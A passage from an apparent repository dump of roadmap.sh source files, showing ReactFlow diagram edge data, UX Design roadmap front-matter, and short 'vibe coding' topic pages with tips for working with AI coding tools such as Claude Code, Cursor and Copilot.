\"sourceHandle\": \"z2\",\n      \"target\": \"K22gvF9DLt0Ikc80yZLCb\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Lz2-K22gvF9DLt0Ikc80yZLCby1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"liUKYf7UghuPk25xMPPYj\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"6ffY5wO-XhkiDJJ5YcI0x\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Lz2-6ffY5wO-XhkiDJJ5YcI0xy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"liUKYf7UghuPk25xMPPYj\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_lv6GJ0wlMfhJ7PHRGQ_V\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Lz2-_lv6GJ0wlMfhJ7PHRGQ_Vy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"liUKYf7UghuPk25xMPPYj\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"zYCBEUqZVlvjlAKnh5cPQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Lz2-zYCBEUqZVlvjlAKnh5cPQy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"liUKYf7UghuPk25xMPPYj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"w_QWN80zCf1tsVROeyuvo\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-liUKYf7UghuPk25xMPPYjx2-GgBazWfF2OvOqkuo3DO2Lw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w_QWN80zCf1tsVROeyuvo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"lRBC8VYJPsR65LHDuuIsL\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Ly2-lRBC8VYJPsR65LHDuuIsLz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"liUKYf7UghuPk25xMPPYj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"2NlgbLeLBYwZX2u2rKkIO\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-liUKYf7UghuPk25xMPPYjy2-2NlgbLeLBYwZX2u2rKkIOz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"liUKYf7UghuPk25xMPPYj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"kcG4IpneJzA6di0uqTiwb\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-liUKYf7UghuPk25xMPPYjy2-kcG4IpneJzA6di0uqTiwbz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"liUKYf7UghuPk25xMPPYj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0Df110GZcDw5wbAe1eKoA\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-liUKYf7UghuPk25xMPPYjy2-0Df110GZcDw5wbAe1eKoAz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"liUKYf7UghuPk25xMPPYj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"kWA8CvocP1pkom2N7O4gb\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-liUKYf7UghuPk25xMPPYjy2-kWA8CvocP1pkom2N7O4gbz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w_QWN80zCf1tsVROeyuvo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zVXJPpqZvUFIxTGVrr0rN\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Lx2-zVXJPpqZvUFIxTGVrr0rNw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PTZROvpPtEvu06szwmt4K\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"SLXjoYL-lhPef8s9V3jpf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-PTZROvpPtEvu06szwmt4Kx2-SLXjoYL-lhPef8s9V3jpfw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zVXJPpqZvUFIxTGVrr0rN\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"IpKCXqf_PkxIllwmiIZsq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zVXJPpqZvUFIxTGVrr0rNz2-IpKCXqf_PkxIllwmiIZsqy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zVXJPpqZvUFIxTGVrr0rN\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Ix5Fll_dAINWLxVF2DXFI\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zVXJPpqZvUFIxTGVrr0rNz2-Ix5Fll_dAINWLxVF2DXFIy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zVXJPpqZvUFIxTGVrr0rN\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ZufrLRNkMoJ4e2T-vWxCR\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zVXJPpqZvUFIxTGVrr0rNz2-ZufrLRNkMoJ4e2T-vWxCRy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w_QWN80zCf1tsVROeyuvo\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"q1WX2Cp4k4-o1T1vgL8FH\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-w_QWN80zCf1tsVROeyuvoz2-GgBazWfF2OvOqkuo3DO2Lz1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"q1WX2Cp4k4-o1T1vgL8FH\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"sQeGE1Q_7y15-n4LXS8s2\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Lw2-4nmx07v1O-rHYl84dutEUx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"q1WX2Cp4k4-o1T1vgL8FH\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"4nmx07v1O-rHYl84dutEU\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Ly2-4nmx07v1O-rHYl84dutEUz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"q1WX2Cp4k4-o1T1vgL8FH\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"D1JzUxHFpT9-xjoLsvsCY\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Lx2-D1JzUxHFpT9-xjoLsvsCYw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"q1WX2Cp4k4-o1T1vgL8FH\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"r6D07cN0Mg4YXsiRSrl1_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-q1WX2Cp4k4-o1T1vgL8FHy2-GgBazWfF2OvOqkuo3DO2Lz1\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6yCBFwntQ_KxFmmGTJ8iR\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"90_M5qABC1vZ1nsXVyqFJ\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Lw2-90_M5qABC1vZ1nsXVyqFJx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6yCBFwntQ_KxFmmGTJ8iR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"VUf72i5hYaLR_8ul9EzmM\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-6yCBFwntQ_KxFmmGTJ8iRx2-GgBazWfF2OvOqkuo3DO2Lw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VUf72i5hYaLR_8ul9EzmM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GgBazWfF2OvOqkuo3DO2L\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-VUf72i5hYaLR_8ul9EzmMx2-GgBazWfF2OvOqkuo3DO2Lw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GgBazWfF2OvOqkuo3DO2L\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"M-ghIECr0h_9RUgtpkjX8\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Lx2-M-ghIECr0h_9RUgtpkjX8w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"M0aRyhxjzTWUOW95D1g1y\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"Xw4lLz2zWuTkNu8r4oheF\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"mbCXMk97_HKXG3d4TxBOC\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Pm-Wx7Z3jCUFcafetsQYi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Pm-Wx7Z3jCUFcafetsQYix2-GV_zWF6rSWg5bqgiXhOEfw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GgBazWfF2OvOqkuo3DO2L\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-GgBazWfF2OvOqkuo3DO2Lz2-GV_zWF6rSWg5bqgiXhOEfw1\",\n      \"selected\": false,\n      \"type\": \"step\",\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/ux-design/ux-design.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/ux-design.json'\npdfUrl: '/pdfs/roadmaps/ux-design.pdf'\nrenderer: 'editor'\norder: 12\nbriefTitle: 'UX Design'\nbriefDescription: 'Step by step guide to becoming a UX Designer in 2025'\ntitle: 'UX Design'\ndescription: 'Step by step guide to becoming a UX Designer in 2025'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 2900\nschema:\n  headline: 'UX Design Roadmap'\n  description: 'Learn all about UX Design with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/ux-design.png'\n  datePublished: '2023-04-26'\n  dateModified: '2023-04-26'\nseo:\n  title: 'UX Design Roadmap: Step by Step guide to learn UX Design in 2025'\n  description: 'Learn how to become a UX Designer in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'guide to learn ux design'\n    - 'guide to becoming a ux designer'\n    - 'ux designer'\n    - 'ux designer 2025'\n    - 'ux design skills'\n    - 'guide to ux design'\n    - 'ux design roadmap'\n    - 'latest ux design roadmap'\n    - 'ux design roadmap 2025'\n    - 'ux design skills test'\n    - 'skills for ux design'\n    - 'what is ux design'\n    - 'ux design quiz'\n    - 'ux design interview questions'\n    - 'ux designer roadmap'\n    - 'become a ux designer'\n    - 'ux designer career path'\n    - 'ux designer'\n    - 'modern ux designer'\nrelatedRoadmaps:\n  - 'design-system'\n  - 'frontend'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/ask-ai-to-handle-your-git-and-github-cli-tasks@vDSSzh5TwZ8zzY0rWRXu4.md",
    "content": "# Ask AI to handle your Git and GitHub CLI tasks\n\nYou don't need to memorize Git commands. Ask AI to write commit messages, create branches, push code, and manage your repository for you. This removes one of the biggest barriers beginners face with version control and keeps the workflow moving smoothly."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/ask-ai-to-keep-the-code-modular-and-aim-for-smaller-modulesfiles@FoQ15wo0cV2Tntru6jV-1.md",
    "content": "# Ask AI to keep the code modular and aim for smaller modules/files\n\nFrom the start, tell AI to split the code into small, focused files rather than putting everything in one place. Smaller files are easier to read, easier to fix, and easier for AI to work with in future sessions without getting confused.\n\nVisit the following resources to learn more:\n\n- [@article@Vibe Coding Principles: Modularity & Coupling Principles](https://blog.synapticlabs.ai/what-is-modular-programming-loose-coupling)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/ask-ai-to-use-subagents-if-possible@n5JxUpashrHKai2XESdd-.md",
    "content": "# Use subagents\n\nSubagents are specialized agents that handle specific tasks in their own isolated context. Using them keeps each part of the work focused, reduces token usage, and produces cleaner results than trying to do everything inside one long conversation.\n\nVisit the following resources to learn more:\n\n- [@article@Agents, Subagents, and Multi Agents: What They Are and When to Use Them](https://dev.to/goose_oss/agents-subagents-and-multi-agents-what-they-are-and-when-to-use-them-39na)\n- [@article@Create custom subagents - Claude Code](https://code.claude.com/docs/en/sub-agents)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/ask-ai-to-write-tests-e2e-tests-can-help-build-a-stable-product@WLOx62vbIhIlv73jcT8zM.md",
    "content": "# Ask AI to write tests\n\nEvery time AI builds a feature, ask it to write tests for that feature right away. End-to-end tests are especially useful because they simulate a real user going through your app and catch bugs that affect the experience before they reach real users."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/ask-for-one-task-at-a-time-rather-than-five-different-items@HpbG5bcOEIZxYlVl9pwod.md",
    "content": "# Ask for one task at a time\n\nKeep your prompts focused. Ask AI to do one thing, review the result, and then move on to the next. When you stack multiple requests into one prompt, the AI loses focus and mistakes pile up across all of them at once."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/based-on-your-previous-coding-sessions-tell-ai-what-not-to-do@3lHMW2Uje5tQawetE4I21.md",
    "content": "# Tell AI what NOT to do\n\nKeep track of the mistakes AI keeps repeating and include them in your prompts. Telling AI what to avoid is just as important as telling it what to do. A simple line like \"do not add placeholder data\" can prevent a lot of unnecessary back and forth."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/be-specific-about-what-you-want-rather-than-high-level-vague-instructions@JXtLbQ1JUQOPZorFy1ctF.md",
    "content": "# Be specific about what you want\n\nDescribe exactly what you want — layout, behavior, content, constraints. The more detail you give, the less the AI has to guess. Vague prompts produce vague results, and you end up spending more time correcting than if you had been specific from the start."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/chatgpt@XY2l96sry3WyLzzo3KUeU.md",
    "content": "# ChatGPT\n\nChatGPT is a large language model chatbot developed by OpenAI. You can give it a prompt, and it'll generate text that attempts to answer or continue the conversation. Think of it as a super-smart auto-complete that can understand context and hold a conversation. It's been used for things like writing code, answering questions, and even creative writing.\n\nVisit the following resources to learn more:\n\n- [@official@ChatGPT](https://chatgpt.com/)\n- [@official@ChatGPT Overview](https://chatgpt.com/overview)\n- [@video@ChatGPT Tutorial - A Crash Course on Chat GPT for Beginners](https://www.youtube.com/watch?v=JTxsNm9IdYU)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/claude-code@wr5ddjutC-fX_ixysTHaT.md",
    "content": "# Claude Code\n\nClaude Code is a terminal-based AI tool built by Anthropic. It is designed to reason through complex code problems, explain unfamiliar codebases, and help with debugging. It works best when you need to understand what a piece of code is doing before modifying it; give it a specific problem and it will walk through it step by step.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Claude Code Roadmap](https://roadmap.sh/claude-code)\n- [@official@Claude Code Overview](https://code.claude.com/docs/en/overview)\n- [@article@Claude Code: From Zero to Hero](https://medium.com/@dan.avila7/claude-code-from-zero-to-hero-bebe2436ac32)\n- [@video@Claude Code Tutorial for Beginners](https://www.youtube.com/watch?v=eMZmDH3T2bY)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/codex@XY2l96sry3WyLzzo3KUeU.md",
    "content": "# Codex\n\nCodex is OpenAI's code-focused model, integrated into tools like GitHub Copilot and available through the API. It is strong at translating a clearly defined requirement into working code; describe the specific behavior you want and it generates the implementation. It works best for contained, well-defined tasks rather than open-ended architectural decisions.\n\nVisit the following resources to learn more:\n\n- [@official@Codex - Official Website](https://chatgpt.com/codex)\n- [@video@Getting started with Codex](https://www.youtube.com/watch?v=px7XlbYgk7I)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/consider-test-driven-development-tdd@Gr9WJ0tNmSsVHSA0Cx3xY.md",
    "content": "# Consider Test-driven development (TDD)\n\nWith TDD, you write the test before the code. Ask AI to first write a test that describes the expected behavior, then write the code that makes it pass. This forces clarity about what you are building and results in cleaner, more reliable code.\n\nVisit the following resources to learn more:\n\n- [@article@TDD in the Age of Vibe Coding: Pairing Red-Green-Refactor with AI](https://medium.com/@rupeshit/tdd-in-the-age-of-vibe-coding-pairing-red-green-refactor-with-ai-65af8ed32ae8)\n- [@video@Claude Code Agents TDD Vibe Coding Test + Research](https://www.youtube.com/watch?v=6kt6Lhz4yJU)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/context@0ZJrFxKo5HyD9OgzG5LWp.md",
    "content": "# Context\n\nContext is everything when working with AI. The AI only knows what you tell it; it has no memory of your project, your past decisions, or your preferences unless you provide that information in the current session. Keep sessions focused, start fresh for unrelated tasks, and use subagents when possible to keep context clean and costs low.\n\nVisit the following resources to learn more:\n\n- [@article@Effective context engineering for AI agents](https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/copilot@Ubk4GN0Z4XlDJ3EbRXdxg.md",
    "content": "# Copilot\n\nGitHub Copilot is an AI-powered coding assistant that helps you write code faster. It suggests lines of code and even entire functions as you type, learning from your style and comments to provide relevant suggestions. It's like having a coding partner that understands your intentions and helps you bring them to life.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Copilot Docs](https://docs.github.com/en/copilot)\n- [@official@Tutorials](https://docs.github.com/en/copilot/tutorials)\n- [@video@Getting started with GitHub Copilot | Tutorial](https://www.youtube.com/watch?v=n0NlxUyA7FI)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/cursor@MWhoqhNnBaoeCdN_8i15k.md",
    "content": "# Cursor\n\nCursor is a code editor built on top of VS Code with AI assistance integrated throughout. It is particularly useful for navigating and editing large codebases you did not write yourself, which makes it well suited for working with AI-generated code. You can select any part of the code and ask it to explain, fix, or rewrite it without having to read every line around it.\n\nVisit the following resources to learn more:\n\n- [@official@Cursor](https://cursor.com/)\n- [@official@Cursor Docs](https://cursor.com/docs)\n- [@video@Cursor AI Tutorial for Beginners](https://www.youtube.com/watch?v=3289vhOUdKA)\n- [@video@Cursor Tutorial for Beginners (AI Code Editor)](https://www.youtube.com/watch?v=ocMOZpuAMw4)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/debugging@mHChjJd39ofwPBS-v_sQY.md",
    "content": "# Debugging\n\nAI is very good at fixing errors when you give it the right information. Paste the error message directly, let it diagnose the problem, and if it keeps failing after a few attempts, ask it to list all possible causes instead of guessing. Use logs to trace exactly where things go wrong, and when available, use MCP tools to give AI direct visibility into what is happening inside your app in real time.\n\nVisit the following resources to learn more:\n\n- [@video@Vibe Coding Debugging: The Only Tutorial You Need for 10X Fast Debugging](https://www.youtube.com/watch?v=2h8WSChA1-o)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/explicitly-ask-ai-to-perform-a-security-audit-of-the-application@8VL5XHFrQUjin1pdAi7WZ.md",
    "content": "# Explicitly ask AI to perform a security audit of the application\n\nBefore launching anything publicly, ask AI to go through the code and look for security issues — unprotected routes, missing input validation, exposed data, and anything else that could be exploited. Treat this as a mandatory step, not an optional one."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/explicitly-tell-ai-to-think-or-brainstorm-before-complex-problems@17nFgML7zVjQYiHIOSLlK.md",
    "content": "# Explicitly tell AI to \"think\" or \"brainstorm\"\n\nFor tricky problems, don't ask AI to jump straight to a solution. Tell it to think through the options first and explain its reasoning before writing any code. This simple instruction often leads to much better results on complex tasks.\n\nVisit the following resources to learn more:\n\n- [@article@Teaching AI to “Think” Before Answering](https://medium.com/@21joshishubham/teaching-ai-to-think-before-answering-1bf8c6bb16c4)"
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/for-unrelated-tasks-proactively-clean-and-start-new-sessions@phtVEKzIUv9E1abazort0.md",
    "content": "# For unrelated tasks, clean and start new sessions\n\nWhen switching to a different task, start a new chat. Carrying over context from an unrelated session confuses the AI, reduces the quality of responses, and wastes tokens on information that is no longer relevant."
  },
  {
    "path": "src/data/roadmaps/vibe-coding/content/gemini@hzeEo8COf2l07iu5EdlFo.md",
